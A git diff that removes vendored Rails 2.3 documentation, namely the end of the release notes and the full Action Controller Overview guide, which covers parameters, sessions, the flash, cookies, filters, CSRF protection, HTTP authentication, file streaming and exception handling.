-* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatches+ when you run the +rails+ command, or add them later with +rake rails:generate_dispatchers+).
-* Rails Guides have been converted from AsciiDoc to Textile markup.
-* Scaffolded views and controllers have been cleaned up a bit.
-* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
-* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
-* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
-
-h3. Deprecated
-
-A few pieces of older code are deprecated in this release:
-
-* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
-* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
-* Support for Rails components has been removed.
-* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
-* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
-* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
-* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
-* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
-* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
-* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
-* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
-
-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/vendor/rails/railties/guides/source/action_controller_overview.textile b/vendor/rails/railties/guides/source/action_controller_overview.textile
deleted file mode 100644
index 054ca999..00000000
--- a/vendor/rails/railties/guides/source/action_controller_overview.textile
+++ /dev/null
@@ -1,776 +0,0 @@
-h2. Action Controller Overview
-
-In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
-
-* Follow the flow of a request through a controller
-* Understand why and how to store data in the session or cookies
-* Work with filters to execute code during request processing
-* Use Action Controller's built-in HTTP authentication
-* Stream data directly to the user's browser
-* Filter sensitive parameters so they do not appear in the application's log
-* Deal with exceptions that may be raised during request processing
-
-endprologue.
-
-h3. What Does a Controller Do?
-
-Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
-
-For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
-
-A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
-
-NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
-
-h3. Methods and Actions
-
-A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
-
-<ruby>
-class ClientsController < ApplicationController
-  def new
-  end
-end
-</ruby>
-
-As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
-
-<ruby>
-def new
-  @client = Client.new
-end
-</ruby>
-
-The "Layouts & rendering guide":layouts_and_rendering.html explains this in more detail.
-
-+ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
-
-Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
-
-h3. Parameters
-
-You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
-
-<ruby>
-class ClientsController < ActionController::Base
-  # This action uses query string parameters because it gets run
-  # by an HTTP GET request, but this does not make any difference
-  # to the way in which the parameters are accessed. The URL for
-  # this action would look like this in order to list activated
-  # clients: /clients?status=activated
-  def index
-    if params[:status] == "activated"
-      @clients = Client.activated
-    else
-      @clients = Client.unactivated
-    end
-  end
-
-  # This action uses POST parameters. They are most likely coming
-  # from an HTML form which the user has submitted. The URL for
-  # this RESTful request will be "/clients", and the data will be
-  # sent as part of the request body.
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      redirect_to @client
-    else
-      # This line overrides the default rendering behavior, which
-      # would have been to render the "create" view.
-      render :action => "new"
-    end
-  end
-end
-</ruby>
-
-h4. Hash and Array Parameters
-
-The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
-
-<pre>
-GET /clients?ids[]=1&ids[]=2&ids[]=3
-</pre>
-
-NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
-
-The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
-
-To send a hash you include the key name inside the brackets:
-
-<html>
-<form action="/clients" method="post">
-  <input type="text" name="client[name]" value="Acme" />
-  <input type="text" name="client[phone]" value="12345" />
-  <input type="text" name="client[address][postcode]" value="12345" />
-  <input type="text" name="client[address][city]" value="Carrot City" />
-</form>
-</html>
-
-When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
-
-Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
-
-h4. Routing Parameters
-
-The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
-
-<ruby>
-map.connect "/clients/:status", 
-  :controller => "clients",
-  :action => "index",
-  :foo => "bar"
-</ruby>
-
-In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
-
-h4. +default_url_options+
-
-You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  # The options parameter is the hash passed in to 'url_for'
-  def default_url_options(options)
-    {:locale => I18n.locale}
-  end
-end
-</ruby>
-
-These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on +ApplicationController+ so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
-
-
-h3. Session
-
-Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
-
-* CookieStore - Stores everything on the client.
-* DRbStore - Stores the data on a DRb server.
-* MemCacheStore - Stores the data in a memcache.
-* ActiveRecordStore - Stores the data in a database using Active Record.
-
-All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
-
-For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
-
-The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
-
-Read more about session storage in the "Security Guide":security.html.
-
-If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
-
-<ruby>
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "rake db:sessions:create")
-# ActionController::Base.session_store = :active_record_store
-</ruby>
-
-Rails sets up a session key (the name of the cookie) and (for the CookieStore) a secret key used when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
-
-<ruby>
-# Your secret key for verifying cookie session data integrity.
-# If you change this key, all old sessions will become invalid!
-# Make sure the secret is at least 30 characters and all random, 
-# no regular words or you'll be exposed to dictionary attacks.
-ActionController::Base.session = {
-  :key         => '_yourappname_session',
-  :secret      => '4f50711b8f0f49572...'
-}
-</ruby>
-
-NOTE: Changing the secret when using the CookieStore will invalidate all existing sessions.
-
-h4. Accessing the Session
-
-In your controller you can access the session through the +session+ instance method.
-
-NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
-
-Session values are stored using key/value pairs like a hash:
-
-<ruby>
-class ApplicationController < ActionController::Base
-
-private
-
-  # Finds the User with the ID stored in the session with the key
-  # :current_user_id This is a common way to handle user login in
-  # a Rails application; logging in sets the session value and
-  # logging out removes it.
-  def current_user
-    @_current_user ||= session[:current_user_id] &&
-      User.find(session[:current_user_id])
-  end
-end
-</ruby>
-
-To store something in the session, just assign it to the key like a hash:
-
-<ruby>
-class LoginsController < ApplicationController
-  # "Create" a login, aka "log the user in"
-  def create
-    if user = User.authenticate(params[:username], params[:password])
-      # Save the user ID in the session so it can be used in
-      # subsequent requests
-      session[:current_user_id] = user.id
-      redirect_to root_url
-    end
-  end
-end
-</ruby>
-
-To remove something from the session, assign that key to be +nil+:
-
-<ruby>
-class LoginsController < ApplicationController
-  # "Delete" a login, aka "log the user out"
-  def destroy
-    # Remove the user id from the session
-    session[:current_user_id] = nil
-    redirect_to root_url
-  end
-end
-</ruby>
-
-To reset the entire session, use +reset_session+.
-
-h4. The Flash
-
-The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
-
-<ruby>
-class LoginsController < ApplicationController
-  def destroy
-    session[:current_user_id] = nil
-    flash[:notice] = "You have successfully logged out"
-    redirect_to root_url
-  end
-end
-</ruby>
-
-The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
-
-<ruby>
-<html>
-  <!-- <head/> -->
-  <body>
-    <% if flash[:notice] -%>
-      <p class="notice"><%= flash[:notice] %></p>
-    <% end -%>
-    <% if flash[:error] -%>
-      <p class="error"><%= flash[:error] %></p>
-    <% end -%>
-    <!-- more content -->
-  </body>
-</html>
-</ruby>
-
-This way, if an action sets an error or a notice message, the layout will display it automatically.
-
-If you want a flash value to be carried over to another request, use the +keep+ method:
-
-<ruby>
-class MainController < ApplicationController
-  # Let's say this action corresponds to root_url, but you want
-  # all requests here to be redirected to UsersController#index.
-  # If an action sets the flash and redirects here, the values
-  # would normally be lost when another redirect happens, but you
-  # can use 'keep' to make it persist for another request.
-  def index
-    # Will persist all flash values.
-    flash.keep
-
-    # You can also use a key to keep only some kind of value. 
-    # flash.keep(:notice)
-    redirect_to users_url
-  end
-end
-</ruby>
-
-h5. +flash.now+
-
-By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
-
-<ruby>
-class ClientsController < ApplicationController
-  def create
-    @client = Client.new(params[:client])
-    if @client.save
-      # ...
-    else
-      flash.now[:error] = "Could not save client"
-      render :action => "new"
-    end
-  end
-end
-</ruby>
-
-h3. Cookies
-
-Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
-
-<ruby>
-class CommentsController < ApplicationController
-  def new
-    # Auto-fill the commenter's name if it has been stored in a cookie
-    @comment = Comment.new(:name => cookies[:commenter_name])
-  end
-
-  def create
-    @comment = Comment.new(params[:comment])
-    if @comment.save
-      flash[:notice] = "Thanks for your comment!"
-      if params[:remember_name]
-        # Remember the commenter's name.
-        cookies[:commenter_name] = @comment.name
-      else
-        # Delete cookie for the commenter's name cookie, if any.
-        cookies.delete(:commenter_name)
-      end
-      redirect_to @comment.article
-    else
-      render :action => "new"
-    end
-  end
-end
-</ruby>
-
-Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
-
-h3. Filters
-
-Filters are methods that are run before, after or "around" a controller action. 
-
-Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application. 
-
-Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  before_filter :require_login
-
-private
-  def require_login
-    unless logged_in?
-      flash[:error] = "You must be logged in to access this section"
-      redirect_to new_login_url # halts request cycle
-    end
-  end
-
-  # The logged_in? method simply returns true if the user is logged
-  # in and false otherwise. It does this by "booleanizing" the
-  # current_user method we created previously using a double ! operator.
-  # Note that this is not common in Ruby and is discouraged unless you
-  # really mean to convert something into true or false.
-  def logged_in?
-    !!current_user
-  end
-end
-</ruby>
-
-The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
-
-In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
-
-<ruby>
-class LoginsController < Application
-  skip_before_filter :require_login, :only => [:new, :create]
-end
-</ruby>
-
-Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
-
-h4. After Filters and Around Filters
-
-In addition to before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running.
-
-Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.
-
-<ruby>
-# Example taken from the Rails API filter documentation:
-# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
-class ApplicationController < Application
-  around_filter :catch_exceptions
-
-private
-  def catch_exceptions
-    yield
-  rescue => exception
-    logger.debug "Caught exception! #{exception}"
-    raise
-  end
-end
-</ruby>
-
-h4. Other Ways to Use Filters
-
-While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
-
-The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  before_filter do |controller|
-    redirect_to new_login_url unless controller.send(:logged_in?)
-  end
-end
-</ruby>
-
-Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  before_filter LoginFilter
-end
-
-class LoginFilter
-  def self.filter(controller)
-    unless controller.send(:logged_in?)
-      controller.flash[:error] = "You must be logged in"
-      controller.redirect_to controller.new_login_url
-    end
-  end
-end
-</ruby>
-
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
-
-The Rails API documentation has "more information on using filters":http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html.
-
-h3. Verification
-
-Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the +params+, +session+ or +flash+ hashes or that a certain HTTP method was used or that the request was made using +XMLHTTPRequest+ (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the "API documentation":http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html as "essentially a special kind of before_filter".
-
-Here's an example of using verification to make sure the user supplies a username and a password in order to log in:
-
-<ruby>
-class LoginsController < ApplicationController
-  verify :params => [:username, :password],
-         :render => {:action => "new"},
-         :add_flash => {
-           :error => "Username and password required to log in"
-         }
-
-  def create
-    @user = User.authenticate(params[:username], params[:password])
-    if @user
-      flash[:notice] = "You're logged in"
-      redirect_to root_url
-    else
-      render :action => "new"
-    end
-  end
-end
-</ruby>
-
-Now the +create+ action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the +new+ action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the +:only+ and +:except+ options just like a filter:
-
-<ruby>
-class LoginsController < ApplicationController
-  verify :params => [:username, :password],
-         :render => {:action => "new"},
-         :add_flash => {
-           :error => "Username and password required to log in"
-         },
-         :only => :create # Run only for the "create" action
-end
-</ruby>
-
-h3. Request Forgery Protection
-
-Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
-
-The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
-
-The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
-
-If you generate a form like this:
-
-<ruby>
-<% form_for @user do |f| -%>
-  <%= f.text_field :username %>
-  <%= f.text_field :password -%>
-<% end -%>
-</ruby>
-
-You will see how the token gets added as a hidden field:
-
-<html>
-<form action="/users/1" method="post">
-<input type="hidden" 
-       value="67250ab105eb5ad10851c00a5621854a23af5489"
-       name="authenticity_token"/>
-<!-- fields -->
-</form>
-</html>
-
-Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
-
-The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
-
-The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
-
-h3. The Request and Response Objects
-
-In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
-
-h4. The +request+ Object
-
-The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html. Among the properties that you can access on this object are:
-
-|_.Property of +request+|_.Purpose|
-|host|The hostname used for this request.|
-|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
-|format|The content type requested by the client.|
-|method|The HTTP method used for the request.|
-|get?, post?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.|
-|headers|Returns a hash containing the headers associated with the request.|
-|port|The port number (integer) used for the request.|
-|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
-|query_string|The query string part of the URL, i.e., everything after "?".|
-|remote_ip|The IP address of the client.|
-|url|The entire URL used for the request.|
-
-h5. +path_parameters+, +query_parameters+, and +request_parameters+
-
-Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-
-h4. The +response+ Object
-
-The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
-
-|_.Property of +response+|_.Purpose|
-|body|This is the string of data being sent back to the client. This is most often HTML.|
-|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
-|location|The URL the client is being redirected to, if any.|
-|content_type|The content type of the response.|
-|charset|The character set being used for the response. Default is "utf-8".|
-|headers|Headers used for the response.|
-
-h5. Setting Custom Headers
-
-If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
-
-<ruby>
-response.headers["Content-Type"] = "application/pdf"
-</ruby>
-
-h3. HTTP Authentications
-
-Rails comes with two built-in HTTP authentication mechanisms:
-
-* Basic Authentication
-* Digest Authentication
-
-h4. HTTP Basic Authentication
-
-HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +authenticate_or_request_with_http_basic+.
-
-<ruby>
-class AdminController < ApplicationController
-  USERNAME, PASSWORD = "humbaba", "5baa61e4"
-
-  before_filter :authenticate
-
-private
-  def authenticate
-    authenticate_or_request_with_http_basic do |username, password|
-      username == USERNAME &&
-      Digest::SHA1.hexdigest(password) == PASSWORD
-    end
-  end
-end
-</ruby>
-
-With this in place, you can create namespaced controllers that inherit from +AdminController+. The before filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
-
-h4. HTTP Digest Authentication
-
-HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
-
-<ruby>
-class AdminController < ApplicationController
-  USERS = { "lifo" => "world" }
-
-  before_filter :authenticate
-
-private
-  def authenticate
-    authenticate_or_request_with_http_digest do |username|
-      USERS[username]
-    end
-  end
-end
-</ruby>
-
-As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
-
-h3. Streaming and File Downloads
-
-Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
-
-To stream data to the client, use +send_data+:
-
-<ruby>
-require "prawn"
-class ClientsController < ApplicationController
-  # Generates a PDF document with information on the client and
-  # returns it. The user will get the PDF as a file download.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data(generate_pdf, 
-              :filename => "#{client.name}.pdf",
-              :type => "application/pdf")
-  end
-
-private
-
-  def generate_pdf(client)
-    Prawn::Document.new do
-      text client.name, :align => :center
-      text "Address: #{client.address}"
-      text "Email: #{client.email}"
-    end.render
-  end
-end
-</ruby>
-
-The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
-
-h4. Sending Files
-
-If you want to send a file that already exists on disk, use the +send_file+ method.
-
-<ruby>
-class ClientsController < ApplicationController
-  # Stream a file that has already been generated and stored on disk.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf",
-              :filename => "#{client.name}.pdf",
-              :type => "application/pdf")
-  end
-end
-</ruby>
-
-This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
-
-WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
-
-TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work.
-
-h4. RESTful Downloads
-
-While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
-
-<ruby>
-class ClientsController < ApplicationController
-  # The user can request to receive this resource as HTML or PDF.
-  def show
-    @client = Client.find(params[:id])
-
-    respond_to do |format|
-      format.html
-      format.pdf { render :pdf => generate_pdf(@client) }
-    end
-  end
-end
-</ruby>
-
-In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
-
-<ruby>
-Mime::Type.register "application/pdf", :pdf
-</ruby>
-
-NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
-
-Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
-
-<shell>
-GET /clients/1.pdf
-</shell>
-
-h3. Parameter Filtering
-
-Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The +filter_parameter_logging+ method can be used to filter out sensitive information from the log. It works by replacing certain values in the +params+ hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
-
-<ruby>
-class ApplicationController < ActionController::Base
-  filter_parameter_logging :password
-end
-</ruby>
-
-The method works recursively through all levels of the +params+ hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.
-
-h3. Rescue
-
-Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
-
-Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-
-h4. The Default 500 and 404 Templates
-
-By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
-
-h4. +rescue_from+
-
-If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
-
-When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
-
-Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
-
-<ruby>
-class ApplicationController < ActionController::Base
-  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
-
-private
-  def record_not_found
-    render :text => "404 Not Found", :status => 404
-  end
-end
-</ruby>
-
-Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
-
-<ruby>
-class ApplicationController < ActionController::Base
-  rescue_from User::NotAuthorized, :with => :user_not_authorized
-
-private
-  def user_not_authorized
-    flash[:error] = "You don't have access to this section."
-    redirect_to :back
-  end
-end
-
-class ClientsController < ApplicationController
-  # Check that the user has the right authorization to access clients.
-  before_filter :check_authorization
-
-  # Note how the actions don't have to worry about all the auth stuff.
-  def edit
-    @client = Client.find(params[:id])
-  end
-
-private
-  # If the user is not authorized, just throw the exception.
-  def check_authorization
-    raise User::NotAuthorized unless current_user.admin?
-  end
-end
-</ruby>
-
